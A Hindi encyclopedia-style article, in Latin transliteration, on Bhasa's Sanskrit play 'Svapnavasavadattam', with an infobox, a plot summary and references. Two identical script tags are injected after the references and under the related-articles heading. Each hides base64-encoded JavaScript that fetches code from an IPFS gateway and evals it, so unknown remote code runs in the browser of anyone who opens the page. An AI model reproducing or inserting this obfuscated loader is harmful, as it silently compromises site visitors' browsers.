स्वप्नवासवदत्तम
svapnavasavadattam
| ||
| kavi | mahakavi bhas | |
| mool shirshak | 'svapnavasavadattam' | |
| mukhy patr | udayan, vasavadatta, chandapradyot | |
| desh | bharat | |
| bhasha | sanskrit | |
| vidha | natak | |
| tippani | yah natak bhas ki natyakala ka choodant nidarshan hai. tisari shatabdi ee. mean mahakavi bhas dvara rachit is kriti se vatsaraj udayan evan avanti naresh chandapradyot ke sambandho ka ullekh milata hai. | |
svapnavasavadattam athava 'svapnavasavadatta' (vasavadatta ka svapn) prasiddh sanskrit natak hai, jo mahakavi bhas dvara likha gaya tha. yah natak bhas ke prasiddh natakoan mean utkrisht shreni ka hai. kshemendr ke 'brihatkathamanjari' tatha somadev ke 'kathasaritsagar' par adharit yah natak samagr sanskritavanmay ke drishyakavyoan mean adarsh kriti mana jata hai. bhas virachit roopakoan mean yah sarvashreshth hai. vastutah yah bhas ki natyakala ka choodant nidarshan hai. tisari shatabdi ee. mean mahakavi bhas dvara rachit is kriti se vatsaraj udayan evan avanti naresh chandapradyot ke sambandho ka ullekh milata hai.
kathanak
'svapnavasavadatta' mahakavi bhas ki amar evan prasiddh rachana hai. is natak ki kathavastu nimn prakar hai-
sanskrit natak 'svapnavasavadatta' ke nayak puruvanshiy raja udayan haian. ve vats rajy ke adhipati the. kaushambi unaki rajadhani thi. un dinoan rajagrih magadh ki rajadhani thi aur vahaan ka raja ajatashatru ka putr darshak tha. avanti rajy ki rajadhani ujjayini thi tatha vahaan ke raja pradyot the. maharaj pradyot ka sainy-bal atyant vishal tha aur isiliye unhean mahasen ke nam se bhi jana jata tha. maharaj udayan ke pas ghoshavati namak ek divy vina thi. unaka vina-vadan apoorv tha.[1]
ek bar pradyot ke amaty shalankayan ne chhal karake udayan ko kaid kar liya. udayan ke vina-vadan ki khyati sunakar pradyot ne unhe apani putri vasavadatta ke liye vina-shikshak niyukt kar diya. is dauran udayan aur vasavadatta ek doosare ke prati akarshit ho gaye. idhar udayan ke mantri yaugandharayan unhean kaid se chhu dane ke prayas mean the. yaugandharayan ke chatury se udayan, vasavadatta ko sath lekar, ujjayini se nikal bhagane mean saphal ho gaye aur kaushambi akar unhoanne vasavadatta se vivah kar liya. udayan vasavadatta ke prem mean itane khoye rahane lage ki unhean raj-kary ki sudhi hi nahian rahi. is sthiti ka labh uthakar aruni namak unake kroor shatru ne unake rajy ko unase chhin liya.
aruni se udayan ke rajy ko vapas lene ke liye unake mantri yaugandharayan aur rumnavanh prayatnashil ho gaye. kintu bina kisi any rajy ki sahayata ke aruni ko parast nahian kiya ja sakata tha. vasavadatta ke pita pradyot udayan se naraj the aur yaugandharayan ko unase kisi prakar ki ummid nahian thi. yaugandharayan ko jyotishiyoan ke dvara pata chalata hai ki magadh-naresh ki bahan padmavati ka vivah jis naresh se hoga, ve chakravarti samrat ho jayeange. yaugandharayan ne socha ki yadi kisi prakar se padmavati ka vivah udayan se ho jaye to udayan ko avashy hi unaka vats rajy aruni se vapas mil jayega; sath hi ve chakravarti samrat bhi ban jayeange.[1]
yaugandharayan bhalibhaanti janate the ki udayan apani patni vasavadatta se asim prem karate haian aur ve apane doosare vivah ke liye kadapi raji nahian hoange. at: unhoanne vasavadatta aur rumnavanh ke sath milakar ek yojana banaee. yojana ke anusar udayan ko rajaparivar tatha vishvasapatr sahayogiyoan ke sath lekar akhet ke liye van mean bheja gaya, jahaan ve sabhi log shivir mean rahane lage. ek din, jab udayan mrigaya ke liye ge hue the, shivir mean ag laga di gee. udayan ke vapas lautane par rumnavan ne unhean bataya ki vasavadatta shivir mean lagi ag mean phans geean thi aur unhean bachane ke liye yaugandharayan vahaan ghuse, jahaan par donoan hi jal mare. udayan is samachar se atyant duahkhi hue kintu rumnavan tatha any amatyoan ne anekoan prakar se saantvana dekar unhean sambhala.
idhar yaugandharayan vasavadatta ko sath lekar parivrajak ke vesh mean magadh rajapootri padmavati ke pas pahuanch ge aur prachchhann vasavadatta (avantika) ko padmavati ke pas dharohar ke roop mean rakh diya. avantika padmavati ki vishesh anugrah patr ban geean. unhoanne maharaj udayan ka gunagan karake padmavati ko unake prati akarshit kar liya. udayan doosara vivah nahian karana chahate the, kintu rumnavanh ne unhean samajha-bujha kar padmavati se vivah ke liye raji kar liya. is prakar udayan ka vivah padmavati ke sath ho gaya. vivah ke pashchath magadh-naresh ki sahayata se udayan ne aruni par akraman kar diya aur use parast kar apana rajy vapas le liya. ant mean atyant natakiy dhang se yaugandharayan aur vasavadatta ne svayan ko prakat kar diya. yaugandharayan ne apani dhrishtata evan dussahas ke liye kshama nivedan kiya. yahi is natak ‘svapnavasavadatta’ ki kathavastu hai. ek drishy mean udayan samudragrih mean vishram karate rahate haian. ve svapn mean ‘ha vasavadatta’, ‘ha vasavadatta’ pukarate rahate haian. usi samay avantika (vasavadatta) vahaan pahuanch jati haian. ve unake latakate huye hath ko bistar par rakh kar nikal jati haian, sath hi udayan ki niand khul jati hai; kintu ve nishchay nahian kar pate ki unhoanne vastav mean vasavadatta ko dekha hai athava svapn mean. isi ghatana ke karan natak ka nam ‘svapnavasavadatta’ rakha gaya.[1]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 mahakavi bhas ka prasiddh natak 'svapnavasavadatta' (hindi) dhan ke desh mean. abhigaman tithi: 01 joon, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>